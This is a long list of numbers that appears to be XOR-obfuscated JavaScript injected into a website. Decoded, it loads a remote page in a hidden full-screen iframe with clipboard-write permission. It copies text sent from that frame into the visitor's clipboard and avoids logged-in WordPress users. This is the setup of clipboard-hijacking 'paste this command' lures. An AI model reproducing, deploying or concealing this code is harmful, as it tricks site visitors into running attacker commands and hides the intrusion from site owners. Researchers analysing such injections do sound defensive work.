122,114,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,50,51,52,46,41,1,49,63,35,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,42,59,40,63,52,46,122,103,122,62,53,57,47,55,63,52,46,116,50,63,59,62,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,51,60,122,114,123,42,59,40,63,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,54,51,52,49,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,54,51,52,49,120,115,97,87,80,122,122,122,122,122,122,54,51,52,49,116,40,63,54,122,103,122,40,63,54,97,87,80,122,122,122,122,122,122,54,51,52,49,116,50,40,63,60,122,103,122,50,40,63,60,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,40,63,54,122,103,103,103,122,120,42,40,63,57,53,52,52,63,57,46,120,115,122,33,87,80,122,122,122,122,122,122,122,122,54,51,52,49,116,57,40,53,41,41,21,40,51,61,51,52,122,103,122,120,59,52,53,52,35,55,53,47,41,120,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,42,59,40,63,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,54,51,52,49,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,45,59,40,55,47,42,21,40,51,61,51,52,41,114,115,122,33,87,80,122,122,122,122,44,59,40,122,53,40,51,61,51,52,41,122,103,122,33,39,97,87,80,122,122,122,122,44,59,40,122,59,42,51,21,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,27,10,19,5,19,30,5,15,8,22,115,97,87,80,122,122,122,122,51,60,122,114,59,42,51,21,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,59,42,51,21,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,51,122,103,122,106,97,122,51,122,102,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,97,122,51,113,113,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,46,42,54,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,122,124,124,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,7,116,46,63,55,42,54,59,46,63,97,87,80,122,122,122,122,122,122,51,60,122,114,123,46,42,54,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,44,59,40,122,42,40,53,56,63,122,103,122,46,42,54,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,120,34,120,115,97,87,80,122,122,122,122,122,122,44,59,40,122,53,40,51,61,51,52,122,103,122,61,63,46,21,40,51,61,51,52,9,59,60,63,114,42,40,53,56,63,115,97,87,80,122,122,122,122,122,122,51,60,122,114,53,40,51,61,51,52,115,122,53,40,51,61,51,52,41,1,53,40,51,61,51,52,7,122,103,122,46,40,47,63,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,53,40,122,114,44,59,40,122,53,40,51,61,51,52,17,63,35,122,51,52,122,53,40,51,61,51,52,41,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,21,56,48,63,57,46,116,42,40,53,46,53,46,35,42,63,116,50,59,41,21,45,52,10,40,53,42,63,40,46,35,116,57,59,54,54,114,53,40,51,61,51,52,41,118,122,53,40,51,61,51,52,17,63,35,115,115,122,57,53,52,46,51,52,47,63,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,62,52,41,119,42,40,63,60,63,46,57,50,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,122,122,59,62,62,18,51,52,46,114,120,42,40,63,57,53,52,52,63,57,46,120,118,122,53,40,51,61,51,52,17,63,35,115,97,87,80,122,122,122,122,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,62,53,57,47,55,63,52,46,116,56,53,62,35,122,38,38,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,122,38,38,122,52,47,54,54,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,47,40,54,118,122,46,51,55,63,53,47,46,23,41,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,122,52,63,45,122,10,40,53,55,51,41,63,114,60,47,52,57,46,51,53,52,122,114,40,63,41,53,54,44,63,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,46,35,42,63,53,60,122,60,63,46,57,50,122,123,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,60,51,52,51,41,50,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,122,122,44,59,40,122,46,51,55,63,40,122,103,122,52,47,54,54,97,87,80,122,122,122,122,122,122,44,59,40,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,122,122,60,47,52,57,46,51,53,52,122,62,53,52,63,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,60,51,52,51,41,50,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,122,122,60,51,52,51,41,50,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,51,55,63,40,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,40,115,97,87,80,122,122,122,122,122,122,122,122,40,63,41,53,54,44,63,114,114,44,59,54,47,63,122,38,38,122,120,120,115,116,46,40,51,55,114,115,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,122,123,103,103,122,120,47,52,62,63,60,51,52,63,62,120,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,53,52,46,40,53,54,54,63,40,122,103,122,52,63,45,122,27,56,53,40,46,25,53,52,46,40,53,54,54,63,40,114,115,97,87,80,122,122,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,122,122,46,51,55,63,40,122,103,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,122,114,57,53,52,46,40,53,54,54,63,40,115,122,57,53,52,46,40,53,54,54,63,40,116,59,56,53,40,46,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,39,118,122,46,51,55,63,53,47,46,23,41,115,97,87,80,87,80,122,122,122,122,122,122,122,122,60,63,46,57,50,114,47,40,54,118,122,33,87,80,122,122,122,122,122,122,122,122,122,122,57,59,57,50,63,96,122,120,52,53,119,41,46,53,40,63,120,118,87,80,122,122,122,122,122,122,122,122,122,122,57,40,63,62,63,52,46,51,59,54,41,96,122,120,53,55,51,46,120,118,87,80,122,122,122,122,122,122,122,122,122,122,41,51,61,52,59,54,96,122,57,53,52,46,40,53,54,54,63,40,122,101,122,57,53,52,46,40,53,54,54,63,40,116,41,51,61,52,59,54,122,96,122,44,53,51,62,122,106,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,63,41,42,53,52,41,63,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,40,63,41,42,53,52,41,63,122,101,122,40,63,41,42,53,52,41,63,116,46,63,34,46,114,115,122,96,122,120,120,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,46,63,34,46,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,87,80,122,122,122,122,122,122,122,122,62,53,52,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,40,35,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,46,63,34,46,122,123,103,103,122,120,41,46,40,51,52,61,120,122,38,38,122,123,46,63,34,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,46,40,35,122,33,122,45,51,52,62,53,45,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,51,60,122,114,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,122,124,124,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,115,122,33,87,80,122,122,122,122,122,122,52,59,44,51,61,59,46,53,40,116,57,54,51,42,56,53,59,40,62,116,45,40,51,46,63,14,63,34,46,114,46,63,34,46,115,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,60,59,54,54,56,59,57,49,25,53,42,35,114,46,63,34,46,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,46,59,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,46,63,34,46,59,40,63,59,120,115,97,87,80,122,122,122,122,122,122,46,59,116,44,59,54,47,63,122,103,122,46,63,34,46,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,40,63,59,62,53,52,54,35,120,118,122,120,40,63,59,62,53,52,54,35,120,115,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,42,53,41,51,46,51,53,52,122,103,122,120,60,51,34,63,62,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,54,63,60,46,122,103,122,120,119,99,99,99,99,42,34,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,46,53,42,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,46,59,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,106,120,97,87,80,122,122,122,122,122,122,55,53,47,52,46,116,59,42,42,63,52,62,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,122,122,46,40,35,122,33,122,46,59,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,46,59,116,41,63,54,63,57,46,114,115,97,87,80,122,122,122,122,122,122,46,59,116,41,63,46,9,63,54,63,57,46,51,53,52,8,59,52,61,63,114,106,118,122,46,59,116,44,59,54,47,63,116,54,63,52,61,46,50,115,97,87,80,122,122,122,122,122,122,62,53,57,47,55,63,52,46,116,63,34,63,57,25,53,55,55,59,52,62,114,120,57,53,42,35,120,115,97,87,80,122,122,122,122,122,122,51,60,122,114,46,59,116,42,59,40,63,52,46,20,53,62,63,115,122,46,59,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,46,59,115,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,51,52,62,23,63,41,41,59,61,63,18,59,52,62,54,63,40,114,115,122,33,87,80,122,122,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,55,63,41,41,59,61,63,24,53,47,52,62,122,103,122,46,40,47,63,97,87,80,87,80,122,122,122,122,45,51,52,62,53,45,116,59,62,62,31,44,63,52,46,22,51,41,46,63,52,63,40,114,120,55,63,41,41,59,61,63,120,118,122,60,47,52,57,46,51,53,52,122,114,63,44,63,52,46,115,122,33,87,80,122,122,122,122,122,122,44,59,40,122,62,59,46,59,122,103,122,63,44,63,52,46,122,124,124,122,63,44,63,52,46,116,62,59,46,59,97,87,80,122,122,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,51,60,40,59,55,63,122,38,38,122,123,62,59,46,59,122,38,38,122,46,35,42,63,53,60,122,62,59,46,59,122,123,103,103,122,120,53,56,48,63,57,46,120,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,51,60,122,114,63,44,63,52,46,116,41,53,47,40,57,63,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,63,44,63,52,46,116,41,53,47,40,57,63,122,123,103,103,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,41,50,53,45,119,53,40,51,61,51,52,59,54,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,49,46,54,119,60,40,59,55,63,119,40,63,59,62,35,120,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,122,114,46,35,42,63,53,60,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,115,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,114,115,97,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,59,46,59,116,46,35,42,63,122,103,103,103,122,120,57,53,42,35,120,122,124,124,122,46,35,42,63,53,60,122,62,59,46,59,116,46,63,34,46,122,103,103,103,122,120,41,46,40,51,52,61,120,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,25,53,42,35,114,62,59,46,59,116,46,63,34,46,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,57,54,63,59,52,47,42,114,52,63,34,46,9,46,59,46,47,41,115,122,33,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,52,47,54,54,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,122,124,124,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,115,122,33,87,80,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,42,59,40,63,52,46,20,53,62,63,116,40,63,55,53,44,63,25,50,51,54,62,114,51,60,40,59,55,63,115,97,87,80,122,122,122,122,122,122,39,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,52,63,34,46,9,46,59,46,47,41,122,38,38,122,120,62,53,52,63,120,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,40,63,41,53,54,44,63,22,59,52,62,51,52,61,15,40,54,114,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,51,62,122,38,38,122,123,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,41,46,63,42,114,51,52,62,63,34,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,51,52,62,63,34,122,100,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,116,54,63,52,61,46,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,120,120,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,60,61,122,103,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,1,51,52,62,63,34,7,122,38,38,122,33,39,97,87,80,122,122,122,122,122,122,44,59,40,122,56,47,51,54,46,15,40,54,122,103,122,46,53,18,46,46,42,15,40,54,114,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,57,60,61,116,46,63,55,42,54,59,46,63,122,38,38,122,120,120,118,122,51,62,115,115,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,56,47,51,54,46,15,40,54,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,51,60,122,114,123,57,60,61,116,47,41,63,28,63,46,57,50,115,122,33,87,80,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,10,40,53,55,51,41,63,116,40,63,41,53,54,44,63,114,56,47,51,54,46,15,40,54,115,97,87,80,122,122,122,122,122,122,39,87,80,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,60,63,46,57,50,14,63,34,46,20,53,14,50,40,53,45,114,56,47,51,54,46,15,40,54,118,122,40,63,61,51,41,46,40,35,116,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,115,87,80,122,122,122,122,122,122,122,122,116,46,50,63,52,114,60,47,52,57,46,51,53,52,122,114,40,59,45,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,44,59,40,122,54,59,52,62,51,52,61,15,40,54,122,103,122,63,34,46,40,59,57,46,22,59,52,62,51,52,61,15,40,54,114,40,59,45,115,97,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,54,59,52,62,51,52,61,15,40,54,115,122,40,63,46,47,40,52,122,54,59,52,62,51,52,61,15,40,54,97,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,87,80,122,122,122,122,122,122,122,122,116,57,59,46,57,50,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,51,52,62,63,34,122,113,122,107,115,97,87,80,122,122,122,122,122,122,122,122,39,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,41,46,63,42,114,106,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,122,33,87,80,122,122,122,122,51,60,122,114,123,47,40,54,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,33,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,34,51,41,46,51,52,61,122,103,122,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,97,87,80,122,122,122,122,51,60,122,114,63,34,51,41,46,51,52,61,115,122,33,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,55,53,47,52,46,122,103,122,61,63,46,23,53,47,52,46,20,53,62,63,114,115,97,87,80,122,122,122,122,51,60,122,114,123,55,53,47,52,46,115,122,33,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,59,57,46,51,44,59,46,63,19,60,40,59,55,63,114,47,40,54,115,97,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,51,60,40,59,55,63,122,103,122,62,53,57,47,55,63,52,46,116,57,40,63,59,46,63,31,54,63,55,63,52,46,114,120,51,60,40,59,55,63,120,115,97,87,80,122,122,122,122,44,59,40,122,57,54,53,41,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,40,63,44,63,59,54,63,62,122,103,122,60,59,54,41,63,97,87,80,122,122,122,122,44,59,40,122,46,51,55,63,53,47,46,19,62,122,103,122,52,47,54,54,97,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,40,63,44,63,59,54,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,122,38,38,122,40,63,44,63,59,54,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,40,63,44,63,59,54,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,87,80,122,122,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,44,51,41,51,56,51,54,51,46,35,122,103,122,120,44,51,41,51,56,54,63,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,53,42,59,57,51,46,35,122,103,122,120,107,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,42,53,51,52,46,63,40,31,44,63,52,46,41,122,103,122,120,59,47,46,53,120,97,87,80,122,122,122,122,122,122,51,60,40,59,55,63,116,40,63,55,53,44,63,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,115,97,87,80,87,80,122,122,122,122,122,122,41,63,46,14,51,55,63,53,47,46,114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,122,51,60,40,59,55,63,116,60,53,57,47,41,114,115,97,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,122,122,122,122,51,60,122,114,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,122,124,124,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,115,122,33,87,80,122,122,122,122,122,122,122,122,122,122,122,122,51,60,40,59,55,63,116,57,53,52,46,63,52,46,13,51,52,62,53,45,116,60,53,57,47,41,114,115,97,87,80,122,122,122,122,122,122,122,122,122,122,39,87,80,122,122,122,122,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,122,122,122,122,122,122,39,118,122,106,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,60,47,52,57,46,51,53,52,122,62,63,41,46,40,53,35,114,115,122,33,87,80,122,122,122,122,122,122,51,60,122,114,57,54,53,41,63,62,115,122,40,63,46,47,40,52,97,87,80,122,122,122,122,122,122,57,54,53,41,63,62,122,103,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,46,51,55,63,53,47,46,19,62,115,122,57,54,63,59,40,14,51,55,63,53,47,46,114,46,51,55,63,53,47,46,19,62,115,97,87,80,122,122,122,122,122,122,57,54,63,59,52,47,42,114,120,62,53,52,63,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,62,63,41,46,40,53,35,122,103,122,62,63,41,46,40,53,35,97,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,40,63,44,63,59,54,122,103,122,40,63,44,63,59,54,97,87,80,87,80,122,122,122,122,51,60,40,59,55,63,116,51,62,122,103,122,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,27,46,46,40,118,122,120,107,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,40,51,59,119,50,51,62,62,63,52,120,118,122,120,46,40,47,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,54,53,59,62,51,52,61,120,118,122,120,63,59,61,63,40,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,63,46,27,46,46,40,51,56,47,46,63,114,120,59,54,54,53,45,120,118,122,120,57,54,51,42,56,53,59,40,62,119,45,40,51,46,63,120,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,40,57,122,103,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,120,44,120,118,122,23,59,46,50,116,40,59,52,62,53,55,114,115,116,46,53,9,46,40,51,52,61,114,105,108,115,116,41,54,51,57,63,114,104,115,115,97,87,80,122,122,122,122,51,60,40,59,55,63,116,41,46,35,54,63,116,57,41,41,14,63,34,46,122,103,122,1,87,80,122,122,122,122,122,122,120,42,53,41,51,46,51,53,52,96,60,51,34,63,62,122,123,51,55,42,53,40,46,59,52,46,120,118,87,80,122,122,122,122,122,122,120,46,53,42,96,106,120,118,87,80,122,122,122,122,122,122,120,54,63,60,46,96,106,120,118,87,80,122,122,122,122,122,122,120,45,51,62,46,50,96,107,106,106,44,45,120,118,87,80,122,122,122,122,122,122,120,50,63,51,61,50,46,96,107,106,106,44,50,120,118,87,80,122,122,122,122,122,122,120,56,53,40,62,63,40,96,52,53,52,63,120,118,87,80,122,122,122,122,122,122,120,32,119,51,52,62,63,34,96,104,107,110,109,110,98,105,108,110,109,120,118,87,80,122,122,122,122,122,122,120,55,59,40,61,51,52,96,106,120,118,87,80,122,122,122,122,122,122,120,42,59,62,62,51,52,61,96,106,120,118,87,80,122,122,122,122,122,122,120,53,44,63,40,60,54,53,45,96,50,51,62,62,63,52,120,118,87,80,122,122,122,122,122,122,120,44,51,41,51,56,51,54,51,46,35,96,50,51,62,62,63,52,120,118,87,80,